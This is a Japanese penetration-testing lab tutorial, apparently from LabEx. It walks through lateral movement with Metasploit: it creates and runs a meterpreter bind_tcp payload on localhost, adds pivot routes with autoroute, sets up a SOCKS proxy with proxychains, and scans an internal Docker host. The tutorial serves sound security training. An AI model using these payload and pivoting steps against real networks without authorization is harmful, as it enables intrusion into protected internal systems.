はじめに

ラテラルムーブメント(横展開)は、ペネトレーションテストにおいて非常に重要なフェーズです。攻撃者は侵害したシステムを足がかりにして、同じ内部ネットワーク上の他のホストにアクセスを試みます。多くの場合、これらの内部ネットワークは隔離されており、外部から直接アクセスすることはできません。

ここで重要な概念の飛躍は、侵害が最初のホストだけで完結するわけではないという点です。最初のホストが重要視されるのは、そのホストからどのようなネットワーク、ルート、信頼関係が見えるかによって、次の攻撃対象が決まるからです。

このラボでは、Metasploit Framework を使用してラテラルムーブメントを実行する方法を学びます。デュアルホーム(複数のネットワークインターフェースを持つ)ホストで初期の足がかりを確保するシミュレーションを行い、Metasploit の Autoroute 機能を使用して Meterpreter セッション経由でピボット(中継)を行い、さらに SOCKS プロキシを設定して外部ツールから隠れた内部ネットワークへアクセスできるようにします。

内部サブネットの特定 (arp/ipconfig)

このステップでは、侵害されたサーバーでの初期足がかりの確保をシミュレートします。ローカルペイロードを生成して実行し、Metasploit で接続をキャッチして Meterpreter セッションを確立します。接続後、ネットワークインターフェースを調査して、隔離された内部サブネットを特定します。

まず、プロジェクトディレクトリにいることを確認し、msfvenomを使用して Linux 実行可能ペイロードを生成します。このペイロードは、ターゲットマシン(今回のシミュレーションではローカルマシン)上でリスニングポートを開きます。

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

現在のラボ環境で初めて Metasploit を使用する場合、msfvenomがペイロードを生成する前に初期セットアップのプロンプトが表示されることがあります。新しいデータベースをセットアップするか尋ねられたら yes と答え、セットアップが完了するのを待ちます。

次に、ペイロードに実行権限を与え、バックグラウンドで実行します。

chmod +x payload.bin
./payload.bin &

次に、-qフラグを使用して、Metasploit コンソールを静かに(起動バナーなしで)起動します。

msfconsole -q

Metasploit コンソール内で、実行したペイロードに接続するように multi-handler を設定します。

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Meterpreter セッションが開かれたことを示す出力が表示されるはずです。

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

アクティブな Meterpreter セッションを使用して、侵害されたホストのネットワーク構成を調査できます。ipconfigコマンドを使用して、すべてのネットワークインターフェースをリストアップします。

インターフェースとルートの列挙は、ローカル特権昇格におけるネットワーク版のようなものです。ピボットとして使用する前に、そのホストから何に到達できるかを知る必要があります。

meterpreter > ipconfig

出力から異なるサブネットを探します。この環境では、通常 eth0 上のメイン VM ネットワークと、docker0 上の 172.17.0.0/16 のような Docker ブリッジサブネットが表示されます。これらは Meterpreter が自動的に発見し、ピボットできるルートです。また、ARP キャッシュを確認して、ホストが近くのデバイスと通信したかどうかを確認することもできます。

meterpreter > arp

この Meterpreter セッションは開いたままにしてください。次のステップでルーティングの設定に使用します。

Meterpreter 経由での Autoroute の追加

このステップでは、アクティブな Meterpreter セッションを介してトラフィックをルーティングするように Metasploit を設定します。このラボ環境では、autorouteモジュールが侵害されたホストのルーティングテーブルを調査し、発見したサブネットを自動的に追加できます。このプロセスはピボッティングと呼ばれ、侵害されたホストから到達可能なネットワークを攻撃できるようになります。

Autoroute は、フレームワークをセッション認識型にするため非常に有用です。ルートが存在すれば、Metasploit はそれらの隠れたサブネットへのパスとして、侵害されたホストを自動的に選択できるようになります。

まず、現在の Meterpreter セッションをバックグラウンドに送り、Metasploit のメインプロンプトに戻ります。

meterpreter > background

セッション 1 がバックグラウンドに送られたことを確認するメッセージが表示されます。次に、autorouteポストエクスプロイトモジュールをロードします。

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

トラフィックをルーティングするセッション ID を指定してモジュールを設定し、実行します。この環境では、モジュールがホストのルーティングテーブルを検索し、見つかったサブネットを自動的に追加します。

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

ホストのルーティングテーブルから 1 つ以上のルートが追加されたことを示す出力が表示されるはずです。この環境での一般的な結果は以下の通りです。

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

ルートが Metasploit 内に正しく登録されたことを確認するには、アクティブなルーティングテーブルを表示します。

msf6 post(multi/manage/autoroute) > route print

出力には、セッション 1 にマッピングされたサブネットが表示されます。これらの範囲内の IP アドレスに対して実行される Metasploit モジュールは、すべて自動的に侵害されたホストを経由してトンネリングされます。

Metasploit での SOCKS プロキシ設定

Autoroute 機能は Metasploit の組み込みモジュールには最適ですが、外部のコマンドラインツール(curlやnmapなど)のトラフィックを自動的にルーティングするわけではありません。これを実現するには、Metasploit 内で SOCKS プロキシサーバーをセットアップする必要があります。

このステップでは、SOCKS プロキシを起動し、proxychainsツールがそれを使用するように設定します。

Metasploit コンソール内で、SOCKS プロキシ補助モジュールをロードします。

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

プロキシがローカルループバックアドレス(127.0.0.1)のポート 1080 でリッスンするように設定します。SOCKS バージョンは 4a を使用します。

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

-jフラグを使用して、プロキシサーバーをバックグラウンドジョブとして実行します。

msf6 auxiliary(server/socks_proxy) > run -j

SOCKS プロキシがバックグラウンドで実行されていることを確認するメッセージが表示されます。

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Metasploit コンソールは実行したままにします。LabEx 環境で新しいターミナルタブを開き、proxychainsを設定します。

新しいターミナルで、sudo権限を使用してnanoテキストエディタで proxychains 設定ファイルを開きます。

sudo nano /etc/proxychains4.conf

ファイルの末尾までスクロールします。[ProxyList]セクションがあります。デフォルトでは socks4 127.0.0.1 9050 のようなエントリがあるかもしれません。この行を修正(または新しい行を追加)して、Metasploit で設定したポートと一致させます。

socks4  127.0.0.1 1080

Ctrl+Oを押してファイルを保存し、Enterで確定してから、Ctrl+Xを押して nano を終了します。

ピボット経由での内部ネットワークスキャン

最後のステップでは、Metasploit の autoroute と SOCKS プロキシの両方を利用して、Docker ブリッジネットワークと通信します。Docker はコンテナが起動するたびにわずかに異なる IP アドレスを割り当てることがあるため、このセットアップでは実際のターゲット IP を ~/project/internal_target_ip.txt に保存しています。

2 番目のターミナルで、いつでも以下のコマンドでターゲット IP を確認できます。

cat ~/project/internal_target_ip.txt

まず、Metasploit の組み込みモジュールを使用してターゲットをスキャンします。Metasploit が実行されている最初のターミナルタブに戻ります。

TCP ポートスキャナーモジュールをロードし、内部ターゲットのポート 80 をスキャンするように設定します。

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

ステップ 2 で autoroute を設定したため、Metasploit はこのスキャンをセッション 1 経由で送信すべきであることを認識しています。ポート 80 が開いていることを示す出力が表示されるはずです。

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

次に、SOCKS プロキシをテストします。2 番目のターミナルタブに戻ります。

curlコマンドを使用して、内部ターゲットから Web ページを取得します。コマンドの先頭に proxychains を付けることで、トラフィックは SOCKS プロキシ経由で強制的に送信されます(これは Metasploit を経由し、最終的に Meterpreter セッションを通ります)。

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

proxychains の接続ログに続いて、内部ターゲットでホストされているデフォルトの Nginx Web ページの HTML タイトルが表示されるはずです。

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

おめでとうございます!侵害されたホストをピボットとして使用し、Metasploit の内部モジュールと外部ツールの両方を使って、隔離された内部ネットワークと通信することに成功しました。

まとめ

このラボでは、Metasploit Framework の強力なラテラルムーブメント機能を探求しました。ペイロードを生成し、Meterpreter セッションを確立して侵害されたホストをシミュレートすることから始めました。次に、隔離された内部サブネットを特定し、Metasploit の autoroute モジュールを使用してセッション経由でトラフィックを誘導しました。最後に、SOCKS プロキシを設定し、proxychains を利用して外部のコマンドラインツールを内部ネットワークへトンネリングしました。これらのテクニックは、ペネトレーションテストの現場において、複雑なネットワーク環境を攻略するための基本となります。